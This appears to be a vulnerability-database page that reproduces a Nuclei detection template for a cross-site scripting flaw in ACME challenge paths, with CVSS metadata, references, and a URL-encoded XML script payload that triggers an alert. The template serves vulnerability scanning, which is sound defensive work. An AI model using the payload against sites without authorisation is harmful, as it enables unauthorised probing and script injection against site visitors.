acme-xss: Let's Encrypt - Cross-Site Scripting

2025-08-01 Let's Encrypt PoC Public

Description

Let's Encrypt contains a cross-site scripting vulnerability when using the the ACME protocol to issue SSL certificates.

PoC

id: acme-xss

info:
  name: Let's Encrypt - Cross-Site Scripting
  author: pdteam
  severity: high
  description: Let's Encrypt contains a cross-site scripting vulnerability when using the the ACME protocol to issue SSL certificates.
  reference:
    - https://www.mike-gualtieri.com/posts/chaining-remote-web-vulnerabilities-to-abuse-lets-encrypt
    - https://community.letsencrypt.org/t/xss-via-acme-implementations/72295
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,acme,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<?xml version=\"1.0\"?><x:script xmlns:x=\"http://www.w3.org/1999/xhtml\">alert(document.domain)</x:script>"

      - type: word
        words:
          - "/xml"
          - "/html"
# digest: 4b0a00483046022100e9ab335842544693117e1866a4cfb97a15ed5f6a2d931d97a275b71a4793d2cd0221008a935ff82b9ec710d569a1d06bba8cf27900059f4f66bb12449521e9acd2b438:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/acme-xss.yaml

References

Related Vulnerabilities